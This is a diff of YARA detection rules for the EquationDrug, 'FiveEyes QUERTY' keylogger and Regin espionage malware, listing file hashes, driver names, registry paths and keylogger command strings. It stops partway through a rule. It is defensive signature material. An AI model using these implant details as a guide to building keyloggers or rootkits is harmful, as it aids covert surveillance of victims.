+rule EquationDrug_CompatLayer_UnilayDLL {
+	meta:
+		description = "EquationDrug - Unilay.DLL"
+		author = "Florian Roth @4nc4p"
+		reference = "http://securelist.com/blog/research/69203/inside-the-equationdrug-espionage-platform/"
+		date = "2015/03/11"
+		hash = "a3a31937956f161beba8acac35b96cb74241cd0f"
+	strings:
+		$mz = { 4d 5a }
+		$s0 = "unilay.dll" fullword ascii
+	condition:
+		( $mz at 0 ) and $s0
+}
+
+rule EquationDrug_HDDSSD_Op {
+	meta:
+		description = "EquationDrug - HDD/SSD firmware operation - nls_933w.dll"
+		author = "Florian Roth @4nc4p"
+		reference = "http://securelist.com/blog/research/69203/inside-the-equationdrug-espionage-platform/"
+		date = "2015/03/11"
+		hash = "ff2b50f371eb26f22eb8a2118e9ab0e015081500"
+	strings:
+		$s0 = "nls_933w.dll" fullword ascii
+	condition:
+		all of them
+}
+
+rule EquationDrug_NetworkSniffer2 {
+	meta:
+		description = "EquationDrug - Network Sniffer - tdip.sys"
+		author = "Florian Roth @4nc4p"
+		reference = "http://securelist.com/blog/research/69203/inside-the-equationdrug-espionage-platform/"
+		date = "2015/03/11"
+		hash = "7e3cd36875c0e5ccb076eb74855d627ae8d4627f"
+	strings:
+		$s0 = "Microsoft(R) Windows (TM) Operating System" fullword wide
+		$s1 = "IP Transport Driver" fullword wide
+		$s2 = "tdip.sys" fullword wide
+		$s3 = "sys\\tdip.dbg" fullword ascii
+		$s4 = "dip.sys" fullword ascii
+		$s5 = "\\Device\\%ws_%ws" fullword wide
+		$s6 = "\\DosDevices\\%ws" fullword wide
+		$s7 = "\\Device\\%ws" fullword wide
+	condition:
+		all of them
+}
+
+rule EquationDrug_NetworkSniffer3 {
+	meta:
+		description = "EquationDrug - Network Sniffer - tdip.sys"
+		author = "Florian Roth @4nc4p"
+		reference = "http://securelist.com/blog/research/69203/inside-the-equationdrug-espionage-platform/"
+		date = "2015/03/11"
+		hash = "14599516381a9646cd978cf962c4f92386371040"
+	strings:
+		$s0 = "Corporation. All rights reserved." fullword wide
+		$s1 = "IP Transport Driver" fullword wide
+		$s2 = "tdip.sys" fullword wide
+		$s3 = "tdip.pdb" fullword ascii
+	condition:
+		all of them
+}
+
+rule EquationDrug_VolRec_Driver {
+	meta:
+		description = "EquationDrug - Collector plugin for Volrec - msrstd.sys"
+		author = "Florian Roth @4nc4p"
+		reference = "http://securelist.com/blog/research/69203/inside-the-equationdrug-espionage-platform/"
+		date = "2015/03/11"
+		hash = "ee2b504ad502dc3fed62d6483d93d9b1221cdd6c"
+	strings:
+		$s0 = "msrstd.sys" fullword wide
+		$s1 = "msrstd.pdb" fullword ascii
+		$s2 = "msrstd driver" fullword wide
+	condition:
+		all of them
+}
+
+rule EquationDrug_KernelRootkit {
+	meta:
+		description = "EquationDrug - Kernel mode stage 0 and rootkit (Windows 2000 and above) - msndsrv.sys"
+		author = "Florian Roth @4nc4p"
+		reference = "http://securelist.com/blog/research/69203/inside-the-equationdrug-espionage-platform/"
+		date = "2015/03/11"
+		hash = "597715224249e9fb77dc733b2e4d507f0cc41af6"
+	strings:
+		$s0 = "Microsoft(R) Windows (TM) Operating System" fullword wide
+		$s1 = "Parmsndsrv.dbg" fullword ascii
+		$s2 = "\\Registry\\User\\CurrentUser\\" fullword wide
+		$s3 = "msndsrv.sys" fullword wide
+		$s5 = "\\REGISTRY\\MACHINE\\System\\CurrentControlSet\\Control\\Windows" fullword wide
+		$s6 = "\\Device\\%ws_%ws" fullword wide
+		$s7 = "\\DosDevices\\%ws" fullword wide
+		$s9 = "\\Device\\%ws" fullword wide
+	condition:
+		all of them
+}
+
+rule EquationDrug_Keylogger {
+	meta:
+		description = "EquationDrug - Key/clipboard logger driver - msrtvd.sys"
+		author = "Florian Roth @4nc4p"
+		reference = "http://securelist.com/blog/research/69203/inside-the-equationdrug-espionage-platform/"
+		date = "2015/03/11"
+		hash = "b93aa17b19575a6e4962d224c5801fb78e9a7bb5"
+	strings:
+		$s0 = "\\registry\\machine\\software\\Microsoft\\Windows NT\\CurrentVersion" fullword wide
+		$s2 = "\\registry\\machine\\SYSTEM\\ControlSet001\\Control\\Session Manager\\En" wide
+		$s3 = "\\DosDevices\\Gk" fullword wide
+		$s5 = "\\Device\\Gk0" fullword wide
+	condition:
+		all of them
+}
+
+rule EquationDrug_NetworkSniffer4 {
+	meta:
+		description = "EquationDrug - Network-sniffer/patcher - atmdkdrv.sys"
+		author = "Florian Roth @4nc4p"
+		reference = "http://securelist.com/blog/research/69203/inside-the-equationdrug-espionage-platform/"
+		date = "2015/03/11"
+		hash = "cace40965f8600a24a2457f7792efba3bd84d9ba"
+	strings:
+		$s0 = "Copyright 1999 RAVISENT Technologies Inc." fullword wide
+		$s1 = "\\systemroot\\" fullword ascii
+		$s2 = "RAVISENT Technologies Inc." fullword wide
+		$s3 = "Created by VIONA Development" fullword wide
+		$s4 = "\\Registry\\User\\CurrentUser\\" fullword wide
+		$s5 = "\\device\\harddiskvolume" fullword wide
+		$s7 = "ATMDKDRV.SYS" fullword wide
+		$s8 = "\\Device\\%ws_%ws" fullword wide
+		$s9 = "\\DosDevices\\%ws" fullword wide
+		$s10 = "CineMaster C 1.1 WDM Main Driver" fullword wide
+		$s11 = "\\Device\\%ws" fullword wide
+		$s13 = "CineMaster C 1.1 WDM" fullword wide
+	condition:
+		all of them
+}
+
+rule EquationDrug_PlatformOrchestrator {
+	meta:
+		description = "EquationDrug - Platform orchestrator - mscfg32.dll, svchost32.dll"
+		author = "Florian Roth @4nc4p"
+		reference = "http://securelist.com/blog/research/69203/inside-the-equationdrug-espionage-platform/"
+		date = "2015/03/11"
+		hash = "febc4f30786db7804008dc9bc1cebdc26993e240"
+	strings:
+		$s0 = "SERVICES.EXE" fullword wide
+		$s1 = "\\command.com" fullword wide
+		$s2 = "Microsoft(R) Windows (TM) Operating System" fullword wide
+		$s3 = "LSASS.EXE" fullword wide
+		$s4 = "Windows Configuration Services" fullword wide
+		$s8 = "unilay.dll" fullword ascii
+	condition:
+		all of them
+}
+
+rule EquationDrug_NetworkSniffer5 {
+	meta:
+		description = "EquationDrug - Network-sniffer/patcher - atmdkdrv.sys"
+		author = "Florian Roth @4nc4p"
+		reference = "http://securelist.com/blog/research/69203/inside-the-equationdrug-espionage-platform/"
+		date = "2015/03/11"
+		hash = "09399b9bd600d4516db37307a457bc55eedcbd17"
+	strings:
+		$s0 = "Microsoft(R) Windows (TM) Operating System" fullword wide
+		$s1 = "\\Registry\\User\\CurrentUser\\" fullword wide
+		$s2 = "atmdkdrv.sys" fullword wide
+		$s4 = "\\Device\\%ws_%ws" fullword wide
+		$s5 = "\\DosDevices\\%ws" fullword wide
+		$s6 = "\\Device\\%ws" fullword wide
+	condition:
+		all of them
+}
+
+rule EquationDrug_FileSystem_Filter {
+	meta:
+		description = "EquationDrug - Filesystem filter driver - volrec.sys, scsi2mgr.sys"
+		author = "Florian Roth @4nc4p"
+		reference = "http://securelist.com/blog/research/69203/inside-the-equationdrug-espionage-platform/"
+		date = "2015/03/11"
+		hash = "57fa4a1abbf39f4899ea76543ebd3688dcc11e13"
+	strings:
+		$s0 = "volrec.sys" fullword wide
+		$s1 = "volrec.pdb" fullword ascii
+		$s2 = "Volume recognizer driver" fullword wide
+	condition:
+		all of them
+}
+
+rule apt_equation_keyword {
+    meta:
+        description = "Rule to detect Equation group's keyword in executable file"
+        last_modified = "2015-09-26"
+        reference = "http://securelist.com/blog/research/68750/equation-the-death-star-of-malware-galaxy/"
+    strings:
+         $a1 = "Backsnarf_AB25" wide
+         $a2 = "Backsnarf_AB25" ascii
+    condition:
+         uint16(0) == 0x5a4d and 1 of ($a*)
+}
+/* FIVE EYES ------------------------------------------------------------------------------- */
+
+rule FiveEyes_QUERTY_Malwareqwerty_20121 {
+	meta:
+		description = "FiveEyes QUERTY Malware - file 20121.xml"
+		author = "Florian Roth"
+		reference = "http://www.spiegel.de/media/media-35668.pdf"
+		date = "2015/01/18"
+		hash = "8263fb58350f3b1d3c4220a602421232d5e40726"
+	strings:
+		$s0 = "<configFileName>20121_cmdDef.xml</configFileName>" fullword ascii
+		$s1 = "<name>20121.dll</name>" fullword ascii
+		$s2 = "<codebase>\"Reserved for future use.\"</codebase>" fullword ascii
+		$s3 = "<plugin xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:noNamespaceS" ascii
+		$s4 = "<platform type=\"1\">" fullword ascii
+		$s5 = "</plugin>" fullword ascii
+		$s6 = "</pluginConfig>" fullword ascii
+		$s7 = "<pluginConfig>" fullword ascii
+		$s8 = "</platform>" fullword ascii
+		$s9 = "</lpConfig>" fullword ascii
+		$s10 = "<lpConfig>" fullword ascii
+	condition:
+		9 of them
+}
+
+rule FiveEyes_QUERTY_Malwaresig_20123_sys {
+	meta:
+		description = "FiveEyes QUERTY Malware - file 20123.sys.bin"
+		author = "Florian Roth"
+		reference = "http://www.spiegel.de/media/media-35668.pdf"
+		date = "2015/01/18"
+		hash = "a0f0087bd1f8234d5e847363d7e15be8a3e6f099"
+	strings:
+		$s0 = "20123.dll" fullword ascii
+		$s1 = "kbdclass.sys" fullword wide
+		$s2 = "IoFreeMdl" fullword ascii
+		$s3 = "ntoskrnl.exe" fullword ascii
+		$s4 = "KfReleaseSpinLock" fullword ascii
+	condition:
+		all of them
+}
+
+rule FiveEyes_QUERTY_Malwaresig_20123_cmdDef {
+	meta:
+		description = "FiveEyes QUERTY Malware - file 20123_cmdDef.xml"
+		author = "Florian Roth"
+		reference = "http://www.spiegel.de/media/media-35668.pdf"
+		date = "2015/01/18"
+		hash = "7b08fc77629f6caaf8cc4bb5f91be6b53e19a3cd"
+	strings:
+		$s0 = "<shortDescription>Keystroke Collector</shortDescription>" fullword ascii
+		$s1 = "This plugin is the E_Qwerty Kernel Mode driver for logging keys.</description>" fullword ascii
+		$s2 = "<commands/>" fullword ascii
+		$s3 = "</version>" fullword ascii
+		$s4 = "<associatedImplantId>20121</associatedImplantId>" fullword ascii
+		$s5 = "<rightsRequired>System or Administrator (if Administrator, I think the DriverIns" ascii
+		$s6 = "<platforms>Windows NT, Windows 2000, Windows XP (32/64 bit), Windows 2003 (32/64" ascii
+		$s7 = "<projectpath>plugin/Collection</projectpath>" fullword ascii
+		$s8 = "<dllDepend>None</dllDepend>" fullword ascii
+		$s9 = "<minorType>0</minorType>" fullword ascii
+		$s10 = "<pluginname>E_QwertyKM</pluginname>" fullword ascii
+		$s11 = "</comments>" fullword ascii
+		$s12 = "<comments>" fullword ascii
+		$s13 = "<majorType>1</majorType>" fullword ascii
+		$s14 = "<files>None</files>" fullword ascii
+		$s15 = "<poc>Erebus</poc>" fullword ascii
+		$s16 = "</plugin>" fullword ascii
+		$s17 = "<team>None</team>" fullword ascii
+		$s18 = "<?xml-stylesheet type=\"text/xsl\" href=\"../XSLT/pluginHTML.xsl\"?>" fullword ascii
+		$s19 = "<pluginsDepend>U_HookManager v1.0, Kernel Covert Store v1.0</pluginsDepend>" fullword ascii
+		$s20 = "<plugin id=\"20123\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi" ascii
+	condition:
+		14 of them
+}
+
+rule FiveEyes_QUERTY_Malwaresig_20121_dll {
+	meta:
+		description = "FiveEyes QUERTY Malware - file 20121.dll.bin"
+		author = "Florian Roth"
+		reference = "http://www.spiegel.de/media/media-35668.pdf"
+		date = "2015/01/18"
+		hash = "89504d91c5539a366e153894c1bc17277116342b"
+	strings:
+		$s0 = "WarriorPride\\production2.0\\package\\E_Wzowski" ascii
+		$s1 = "20121.dll" fullword ascii
+	condition:
+		all of them
+}
+rule FiveEyes_QUERTY_Malwareqwerty_20123 {
+	meta:
+		description = "FiveEyes QUERTY Malware - file 20123.xml"
+		author = "Florian Roth"
+		reference = "http://www.spiegel.de/media/media-35668.pdf"
+		date = "2015/01/18"
+		hash = "edc7228b2e27df9e7ff9286bddbf4e46adb51ed9"
+	strings:
+		$s0 = "<!-- edited with XMLSPY v5 rel. 4 U (http://www.xmlspy.com) by TEAM (RENEGADE) -" ascii
+		$s1 = "<configFileName>20123_cmdDef.xml</configFileName>" fullword ascii
+		$s2 = "<name>20123.sys</name>" fullword ascii
+		$s3 = "<plugin xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:noNamespaceS" ascii
+		$s4 = "<codebase>/bin/i686-pc-win32/debug</codebase>" fullword ascii
+		$s5 = "<platform type=\"1\">" fullword ascii
+		$s6 = "</plugin>" fullword ascii
+		$s7 = "</pluginConfig>" fullword ascii
+		$s8 = "<pluginConfig>" fullword ascii
+		$s9 = "</platform>" fullword ascii
+		$s10 = "</lpConfig>" fullword ascii
+		$s11 = "<lpConfig>" fullword ascii
+	condition:
+		9 of them
+}
+
+rule FiveEyes_QUERTY_Malwaresig_20120_dll {
+	meta:
+		description = "FiveEyes QUERTY Malware - file 20120.dll.bin"
+		author = "Florian Roth"
+		reference = "http://www.spiegel.de/media/media-35668.pdf"
+		date = "2015/01/18"
+		hash = "6811bfa3b8cda5147440918f83c40237183dbd25"
+	strings:
+		$s0 = "\\QwLog_%d-%02d-%02d-%02d%02d%02d.txt" fullword wide
+		$s1 = "\\QwLog_%d-%02d-%02d-%02d%02d%02d.xml" fullword wide
+		$s2 = "Failed to send the EQwerty_driverStatusCommand to the implant." fullword ascii
+		$s3 = "- Log Used (number of windows) - %d" fullword wide
+		$s4 = "- Log Limit (number of windows) - %d" fullword wide
+		$s5 = "Process or User Default Language" fullword wide
+		$s6 = "Windows 98/Me, Windows NT 4.0 and later: Vietnamese" fullword wide
+		$s7 = "- Logging of keystrokes is switched ON" fullword wide
+		$s8 = "- Logging of keystrokes is switched OFF" fullword wide
+		$s9 = "Qwerty is currently logging active windows with titles containing the fo" wide
+		$s10 = "Windows 95, Windows NT 4.0 only: Korean (Johab)" fullword wide
+		$s11 = "FAILED to get Qwerty Status" fullword wide
+		$s12 = "- Successfully retrieved Log from Implant." fullword wide
+		$s13 = "- Logging of all Windows is toggled ON" fullword wide
+		$s14 = "- Logging of all Windows is toggled OFF" fullword wide
+		$s15 = "Qwerty FAILED to retrieve window list." fullword wide
+		$s16 = "- UNSUCCESSFUL Log Retrieval from Implant." fullword wide
+		$s17 = "The implant failed to return a valid status" fullword ascii
+		$s18 = "- Log files were NOT generated!" fullword wide
+		$s19 = "Windows 2000/XP: Armenian. This is Unicode only." fullword wide
+		$s20 = "- This machine is using a PS/2 Keyboard - Continue on using QWERTY" fullword wide
+	condition:
+		10 of them
+}
+
+rule FiveEyes_QUERTY_Malwaresig_20120_cmdDef {
+	meta:
+		description = "FiveEyes QUERTY Malware - file 20120_cmdDef.xml"
+		author = "Florian Roth"
+		reference = "http://www.spiegel.de/media/media-35668.pdf"
+		date = "2015/01/18"
+		hash = "cda9ceaf0a39d6b8211ce96307302a53dfbd71ea"
+	strings:
+		$s0 = "This PPC gets the current keystroke log." fullword ascii
+		$s1 = "This command will add the given WindowTitle to the list of Windows to log keys f" ascii
+		$s2 = "This command will remove the WindowTitle corresponding to the given window title" ascii
+		$s3 = "This command will return the current status of the Keyboard Logger (Whether it i" ascii
+		$s4 = "This command Toggles logging of all Keys. If allkeys is toggled all keystrokes w" ascii
+		$s5 = "<definition>Turn logging of all keys on|off</definition>" fullword ascii
+		$s6 = "<name>Get Keystroke Log</name>" fullword ascii
+		$s7 = "<description>Keystroke Logger Lp Plugin</description>" fullword ascii
+		$s8 = "<definition>display help for this function</definition>" fullword ascii
+		$s9 = "This command will switch ON Logging of keys. All keys taht are entered to a acti" ascii
+		$s10 = "Set the log limit (in number of windows)" fullword ascii
+		$s11 = "<example>qwgetlog</example>" fullword ascii
+		$s12 = "<aliasName>qwgetlog</aliasName>" fullword ascii
+		$s13 = "<definition>The title of the Window whose keys you wish to Log once it becomes a" ascii
+		$s14 = "This command will switch OFF Logging of keys. No keystrokes will be captured" fullword ascii
+		$s15 = "<definition>The title of the Window whose keys you no longer whish to log</defin" ascii
+		$s16 = "<command id=\"32\">" fullword ascii
+		$s17 = "<command id=\"3\">" fullword ascii
+		$s18 = "<command id=\"7\">" fullword ascii
+		$s19 = "<command id=\"1\">" fullword ascii
+		$s20 = "<command id=\"4\">" fullword ascii
+	condition:
+		10 of them
+}
+
+rule FiveEyes_QUERTY_Malwareqwerty_20120 {
+	meta:
+		description = "FiveEyes QUERTY Malware - file 20120.xml"
+		author = "Florian Roth"
+		reference = "http://www.spiegel.de/media/media-35668.pdf"
+		date = "2015/01/18"
+		hash = "597082f05bfd3225587d480c30f54a7a1326a892"
+	strings:
+		$s0 = "<configFileName>20120_cmdDef.xml</configFileName>" fullword ascii
+		$s1 = "<name>20120.dll</name>" fullword ascii
+		$s2 = "<codebase>\"Reserved for future use.\"</codebase>" fullword ascii
+		$s3 = "<plugin xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:noNamespaceS" ascii
+		$s4 = "<platform type=\"1\">" fullword ascii
+		$s5 = "</plugin>" fullword ascii
+		$s6 = "</pluginConfig>" fullword ascii
+		$s7 = "<pluginConfig>" fullword ascii
+		$s8 = "</platform>" fullword ascii
+		$s9 = "</lpConfig>" fullword ascii
+		$s10 = "<lpConfig>" fullword ascii
+	condition:
+		all of them
+}
+
+rule FiveEyes_QUERTY_Malwaresig_20121_cmdDef {
+	meta:
+		description = "FiveEyes QUERTY Malware - file 20121_cmdDef.xml"
+		author = "Florian Roth"
+		reference = "http://www.spiegel.de/media/media-35668.pdf"
+		date = "2015/01/18"
+		hash = "64ac06aa4e8d93ea6063eade7ce9687b1d035907"
+	strings:
+		$s0 = "<shortDescription>Keystroke Logger Plugin.</shortDescription>" fullword ascii
+		$s1 = "<message>Failed to get File Time</message>" fullword ascii
+		$s2 = "<description>Keystroke Logger Plugin.</description>" fullword ascii
+		$s3 = "<message>Failed to set File Time</message>" fullword ascii
+		$s4 = "</commands>" fullword ascii
+		$s5 = "<commands>" fullword ascii
+		$s6 = "</version>" fullword ascii
+		$s7 = "<associatedImplantId>20120</associatedImplantId>" fullword ascii
+		$s8 = "<message>No Comms. with Driver</message>" fullword ascii
+		$s9 = "</error>" fullword ascii
+		$s10 = "<message>Invalid File Size</message>" fullword ascii
+		$s11 = "<platforms>Windows (User/Win32)</platforms>" fullword ascii
+		$s12 = "<message>File Size Mismatch</message>" fullword ascii
+		$s13 = "<projectpath>plugin/Utility</projectpath>" fullword ascii
+		$s14 = "<pluginsDepend>None</pluginsDepend>" fullword ascii
+		$s15 = "<dllDepend>None</dllDepend>" fullword ascii
+		$s16 = "<pluginname>E_QwertyIM</pluginname>" fullword ascii
+		$s17 = "<rightsRequired>None</rightsRequired>" fullword ascii
+		$s18 = "<minorType>0</minorType>" fullword ascii
+		$s19 = "<code>00001002</code>" fullword ascii
+		$s20 = "<code>00001001</code>" fullword ascii
+	condition:
+		12 of them
+}/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2014-11-23
+	Identifier: Regin
+
+	Warning: Don't use this rule set without excluding the false positive hashes listed in 
+	         the file falsepositive-hashes.txt
+
+*/
+
+/* REGIN ---------------------------------------------------------------------------------- */
+
+rule Regin_APT_KernelDriver_Generic_A {
+	meta:
+		description = "Generic rule for Regin APT kernel driver Malware - Symantec http://t.co/qu53359Cb2"
+		author = "@Malwrsignatures - included in APT Scanner THOR"
+		date = "23.11.14"
+		hash1 = "187044596bc1328efa0ed636d8aa4a5c"
+		hash2 = "06665b96e293b23acc80451abb413e50"
+		hash3 = "d240f06e98c8d3e647cbf4d442d79475"
+	strings:
+		$m0 = { 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 } 
+		$m1 = { 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e }
+		
+		$s0 = "atapi.sys" fullword wide
+		$s1 = "disk.sys" fullword wide
+		$s3 = "h.data" fullword ascii
+		$s4 = "\\system32" fullword ascii
+		$s5 = "\\SystemRoot" fullword ascii
+		$s6 = "system" fullword ascii
+		$s7 = "temp" fullword ascii
+		$s8 = "windows" fullword ascii
+
+		$x1 = "LRich6" fullword ascii
+		$x2 = "KeServiceDescriptorTable" fullword ascii		
+	condition:
+		$m0 at 0 and $m1 and  	
+		all of ($s*) and 1 of ($x*)
+}
+
+rule Regin_APT_KernelDriver_Generic_B {
+	meta:
+		description = "Generic rule for Regin APT kernel driver Malware - Symantec http://t.co/qu53359Cb2"
+		author = "@Malwrsignatures - included in APT Scanner THOR"
+		date = "23.11.14"
+		hash1 = "ffb0b9b5b610191051a7bdf0806e1e47"
+		hash2 = "bfbe8c3ee78750c3a520480700e440f8"
+		hash3 = "b29ca4f22ae7b7b25f79c1d4a421139d"
+		hash4 = "06665b96e293b23acc80451abb413e50"
+		hash5 = "2c8b9d2885543d7ade3cae98225e263b"
+		hash6 = "4b6b86c7fec1c574706cecedf44abded"
+		hash7 = "187044596bc1328efa0ed636d8aa4a5c"
+		hash8 = "d240f06e98c8d3e647cbf4d442d79475"
+		hash9 = "6662c390b2bbbd291ec7987388fc75d7"
+		hash10 = "1c024e599ac055312a4ab75b3950040a"
+		hash11 = "ba7bb65634ce1e30c1e5415be3d1db1d"
+		hash12 = "b505d65721bb2453d5039a389113b566"
+		hash13 = "b269894f434657db2b15949641a67532"
+	strings:
+		$m0 = { 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 } 
+		$s1 = { 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e }
+		$s2 = "H.data" fullword ascii nocase
+		$s3 = "INIT" fullword ascii
+		$s4 = "ntoskrnl.exe" fullword ascii
+		
+		$v1 = "\\system32" fullword ascii
+		$v2 = "\\SystemRoot" fullword ascii
+		$v3 = "KeServiceDescriptorTable" fullword ascii	
+		
+		$w1 = "\\system32" fullword ascii
+		$w2 = "\\SystemRoot" fullword ascii		
+		$w3 = "LRich6" fullword ascii
+		
+		$x1 = "_snprintf" fullword ascii
+		$x2 = "_except_handler3" fullword ascii
+		
+		$y1 = "mbstowcs" fullword ascii
+		$y2 = "wcstombs" fullword ascii
+		$y3 = "KeGetCurrentIrql" fullword ascii
+		
+		$z1 = "wcscpy" fullword ascii
+		$z2 = "ZwCreateFile" fullword ascii
+		$z3 = "ZwQueryInformationFile" fullword ascii
+		$z4 = "wcslen" fullword ascii
+		$z5 = "atoi" fullword ascii
+	condition:
+		$m0 at 0 and all of ($s*) and 
+		( all of ($v*) or all of ($w*) or all of ($x*) or all of ($y*) or all of ($z*) ) 
+		and filesize < 20KB
+}
+
+rule Regin_APT_KernelDriver_Generic_C {
+	meta:
+		description = "Generic rule for Regin APT kernel driver Malware - Symantec http://t.co/qu53359Cb2"
+		author = "@Malwrsignatures - included in APT Scanner THOR"
+		date = "23.11.14"
+		hash1 = "e0895336617e0b45b312383814ec6783556d7635"
+		hash2 = "732298fa025ed48179a3a2555b45be96f7079712"		
+	strings:
+		$m0 = { 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 } 
+	
+		$s0 = "KeGetCurrentIrql" fullword ascii
+		$s1 = "5.2.3790.0 (srv03_rtm.030324-2048)" fullword wide
+		$s2 = "usbclass" fullword wide
+		
+		$x1 = "PADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDING" ascii
+		$x2 = "Universal Serial Bus Class Driver" fullword wide
+		$x3 = "5.2.3790.0" fullword wide
+		
+		$y1 = "LSA Shell" fullword wide
+		$y2 = "0Richw" fullword ascii		
+	condition:
+		$m0 at 0 and all of ($s*) and 
+		( all of ($x*) or all of ($y*) ) 
+		and filesize < 20KB
+}
+
+/* Update 27.11.14 */
+
+rule Regin_sig_svcsstat {
+	meta:
+		description = "Detects svcstat from Regin report - file svcsstat.exe_sample"
+		author = "@MalwrSignatures"
+		date = "26.11.14"
+		hash = "5164edc1d54f10b7cb00a266a1b52c623ab005e2"
+	strings:
+		$s0 = "Service Control Manager" fullword ascii
+		$s1 = "_vsnwprintf" fullword ascii
+		$s2 = "Root Agency" fullword ascii
+		$s3 = "Root Agency0" fullword ascii
+		$s4 = "StartServiceCtrlDispatcherA" fullword ascii
+		$s5 = "\\\\?\\UNC" fullword wide
+		$s6 = "%ls%ls" fullword wide
+	condition:
+		all of them and filesize < 15KB and filesize > 10KB 
+}
+
+rule Regin_Sample_1 {
+	meta:
+		description = "Auto-generated rule - file-3665415_sys"
+		author = "@MalwrSignatures"
+		date = "26.11.14"
+		hash = "773d7fab06807b5b1bc2d74fa80343e83593caf2"
+	strings:
+		$s0 = "Getting PortName/Identifier failed - %x" fullword ascii
+		$s1 = "SerialAddDevice - error creating new devobj [%#08lx]" fullword ascii
+		$s2 = "External Naming Failed - Status %x" fullword ascii
+		$s3 = "------- Same multiport - different interrupts" fullword ascii
+		$s4 = "%x occurred prior to the wait - starting the" fullword ascii
+		$s5 = "'user registry info - userPortIndex: %d" fullword ascii
+		$s6 = "Could not report legacy device - %x" fullword ascii
+		$s7 = "entering SerialGetPortInfo" fullword ascii
+		$s8 = "'user registry info - userPort: %x" fullword ascii
+		$s9 = "IoOpenDeviceRegistryKey failed - %x " fullword ascii
+		$s10 = "Kernel debugger is using port at address %X" fullword ascii
+		$s12 = "Release - freeing multi context" fullword ascii
+		$s13 = "Serial driver will not load port" fullword ascii
+		$s14 = "'user registry info - userAddressSpace: %d" fullword ascii
+		$s15 = "SerialAddDevice: Enumeration request, returning NO_MORE_ENTRIES" fullword ascii
+		$s20 = "'user registry info - userIndexed: %d" fullword ascii
+	condition:
+		all of them and filesize < 110KB and filesize > 80KB
+}
+
+rule Regin_Sample_2 {
+	meta:
+		description = "Auto-generated rule - file hiddenmod_hookdisk_and_kdbg_8949d000.bin"
+		author = "@MalwrSignatures"
+		date = "26.11.14"
+		hash = "a7b285d4b896b66fce0ebfcd15db53b3a74a0400"
+	strings:
+		$s0 = "\\SYSTEMROOT\\system32\\lsass.exe" fullword wide
+		$s1 = "atapi.sys" fullword wide
+		$s2 = "disk.sys" fullword wide
+		$s3 = "IoGetRelatedDeviceObject" fullword ascii
+		$s4 = "HAL.dll" fullword ascii
+		$s5 = "\\Registry\\Machine\\System\\CurrentControlSet\\Services" fullword ascii
+		$s6 = "PsGetCurrentProcessId" fullword ascii
+		$s7 = "KeGetCurrentIrql" fullword ascii
+		$s8 = "\\REGISTRY\\Machine\\System\\CurrentControlSet\\Control\\Session Manager" wide
+		$s9 = "KeSetImportanceDpc" fullword ascii
+		$s10 = "KeQueryPerformanceCounter" fullword ascii
+		$s14 = "KeInitializeEvent" fullword ascii
+		$s15 = "KeDelayExecutionThread" fullword ascii
+		$s16 = "KeInitializeTimerEx" fullword ascii
+		$s18 = "PsLookupProcessByProcessId" fullword ascii
+		$s19 = "ExReleaseFastMutexUnsafe" fullword ascii
+		$s20 = "ExAcquireFastMutexUnsafe" fullword ascii
+	condition:
+		all of them and filesize < 40KB and filesize > 30KB
+}
+
+rule Regin_Sample_3 {
+	meta:
+		description = "Detects Regin Backdoor sample fe1419e9dde6d479bd7cda27edd39fafdab2668d498931931a2769b370727129"
+		author = "@Malwrsignatures"
+		date = "27.11.14"
+		hash = "fe1419e9dde6d479bd7cda27edd39fafdab2668d498931931a2769b370727129"		
+	strings:
+		$hd = { fe ba dc fe }
+	
+		$s0 = "Service Pack x" fullword wide
+		$s1 = "\\REGISTRY\\MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion" fullword wide
+		$s2 = "\\REGISTRY\\Machine\\Software\\Microsoft\\Windows NT\\CurrentVersion\\HotFix" fullword wide
+		$s3 = "mntoskrnl.exe" fullword wide
+		$s4 = "\\REGISTRY\\Machine\\System\\CurrentControlSet\\Control\\Session Manager\\Memory Management" fullword wide
+		$s5 = "Memory location: 0x%p, size 0x%08x" wide fullword
+		$s6 = "Service Pack" fullword wide
+		$s7 = ".sys" fullword wide
+		$s8 = ".dll" fullword wide		
+		
+		$s10 = "\\REGISTRY\\Machine\\Software\\Microsoft\\Updates" fullword wide
+		$s11 = "IoGetRelatedDeviceObject" fullword ascii
+		$s12 = "VMEM.sys" fullword ascii
+		$s13 = "RtlGetVersion" fullword wide
+		$s14 = "ntkrnlpa.exe" fullword ascii
+	condition:
+		( $hd at 0 ) and all of ($s*) and filesize > 160KB and filesize < 200KB
+}
+
+rule Regin_Sample_Set_1 {
+	meta:
+		description = "Auto-generated rule - file SHF-000052 and ndisips.sys"
+		author = "@MalwrSignatures"
+		date = "26.11.14"
+		hash1 = "8487a961c8244004c9276979bb4b0c14392fc3b8"
+		hash2 = "bcf3461d67b39a427c83f9e39b9833cfec977c61"		
+	strings:
+		$s0 = "HAL.dll" fullword ascii
+		$s1 = "IoGetDeviceObjectPointer" fullword ascii
+		$s2 = "MaximumPortsServiced" fullword wide
+		$s3 = "KeGetCurrentIrql" fullword ascii
+		$s4 = "ntkrnlpa.exe" fullword ascii
+		$s5 = "\\REGISTRY\\Machine\\System\\CurrentControlSet\\Control\\Session Manager" wide
+		$s6 = "ConnectMultiplePorts" fullword wide
+		$s7 = "\\SYSTEMROOT" fullword wide
+		$s8 = "IoWriteErrorLogEntry" fullword ascii
+		$s9 = "KeQueryPerformanceCounter" fullword ascii
+		$s10 = "KeServiceDescriptorTable" fullword ascii
+		$s11 = "KeRemoveEntryDeviceQueue" fullword ascii
+		$s12 = "SeSinglePrivilegeCheck" fullword ascii
